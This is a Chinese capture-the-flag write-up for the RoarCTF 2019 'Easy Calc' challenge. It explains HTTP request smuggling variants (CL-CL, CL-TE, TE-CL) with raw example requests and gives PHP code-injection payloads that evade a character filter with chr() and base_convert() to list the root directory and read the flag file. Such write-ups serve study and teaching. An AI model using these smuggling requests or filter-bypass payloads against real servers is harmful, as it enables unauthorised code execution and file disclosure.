CTF 中的http请求走私问题
例题:[RoarCTF 2019]Easy Calc BUUCTF
本题目除了使用http请求走私解,还可以使用PHP的字符串解析特性
解
本文主要是利用这道题来浅述http走私
基本概念
当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。
http请求走私攻击的五种方式
CL不为0的GET请求:
前端代理服务器允许GET
请求携带请求体;后端服务器不允许GET请求携带请求体
GET / HTTP/1.1
Host: test.com
Content-Length: 42
GET / flag HTTP/1.1
Host: test.com
当这段请求发送时,前端根据Content-Length
认为这是一个完整的请求交付后端,后端则因为出现了两个携带请求体的GET请求,所以将这段请求划分为两个GET请求。
CL-CL
假设前端和后端服务器都受到该类请求,且不报错,其中前端服务器按照第一个Content-Length的值对请求进行为数据包定界,而后端服务器则按照第二个Content-Length的值进行处理。这就导致了后台在接收到这段数据时,根据Content-length认为请求包到123就结束了,把剩下的A作为下一个未请求完成请求包的一部分。
POST / HTTP/1.1
Host: example.com
Content-Length: 6
Content-Length: 5
123
A
CL-TE
收到包含Content-Length和Transfer-Encoding这两个请求头d的请求时,前端代理服务器按照Content-Length这一请求头定界,而后端服务器则以Transfer-Encoding请求头为标准。
POST / HTTP/1.1\r\n
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=E9m1pnYfbvtMyEnTYSe5eijPDC04EVm3\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
G
由于前端服务器处理Content-Length
,所以这个请求对于它来说是一个完整的请求,请求体的长度为6,也就是
0\r\n
\r\n
G
当请求包经过代理服务器转发给后端服务器时,后端服务器处理Transfer-Encoding
,当它读取到0\r\n\r\n
时,认为已经读取到结尾了,但是剩下的字母G
就被留在了缓冲区中,等待后续请求的到来。当我们重复发送请求后,发送的请求在后端服务器拼接成了类似下面这种请求。
GPOST / HTTP/1.1\r\n
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
......
服务器在解析时当然会产生报错了。
TE-CL
就是当收到存在两个请求头的请求包时,前端代理服务器处理Transfer-Encoding
这一请求头,而后端服务器处理Content-Length
请求头。
POST / HTTP/1.1\r\n
Host: acf41f441edb9dc9806dca7b00000035.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
解题--php特性解
查看当前路径文件本质是用var_dump(scandir("/"))
,但是/
被过滤了,所以使用chr(47)
绕过
payload:http://node4.buuoj.cn:28536/calc.php? num=1;var_dump(scandir(chr(47)))
num前面的空格绕过了对num的过滤
查看flagg文件
payload:
calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
解题--http请求走私
原理:因为两个cl直接导致前端转发的服务器400,而且完整转发了post包给后端.
构造恶意请求
GET /calc.php?num=phpinfo() HTTP/1.1
Host: node4.buuoj.cn:28536
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Wed, 14 Aug 2019 07:10:02 GMT
If-None-Match: "555-5900e721d0680-gzip"
Cache-Control: max-age=0
Content-Length: 9
Content-Length: 9
num=1
相关PHP函数
scandir() 函数
返回指定目录中的文件和目录的数组。
base_convert() 函数
在任意进制之间转换数字。
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
readfile() 函数
输出一个文件。
该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。
1.查看当前目录下文件
使用scandir()函数
、readfile()函数
、base_convert()函数
、dechex() 函数
、hex2bin() 函数
(chr()函数
)
36进制scandir
->10进制61693386291
36进制readfile
->10进制2146934604002
ascii码/
->16进制2f->10进制47
36进制f1agg->10进制25254448(读取根目录得到的)
首先要使用scandir()函数
,尝试构造payload列举根目录下的文件。scandir()
可以用base_convert()函数
构造,但是利用base_convert()
只能解决a~z
的利用.
因为根目录需要/
符号,且不在a~z
,所以需要hex2bin(dechex(47))
这种构造方式,dechex() 函数
把十进制数转换为十六进制数。hex2bin() 函数
把十六进制值的字符串转换为 ASCII 字符。当然,也可以直接用chr()函数
var_dump(base_convert(61693386291,10,36)(chr(47)))
2、读取flag
payload
var_dump(base_convert(2146934604002,10,36)(chr(47).base_convert(25254448,10,36)))
参考
https://www.cnblogs.com/chrysanthemum/p/11757363.html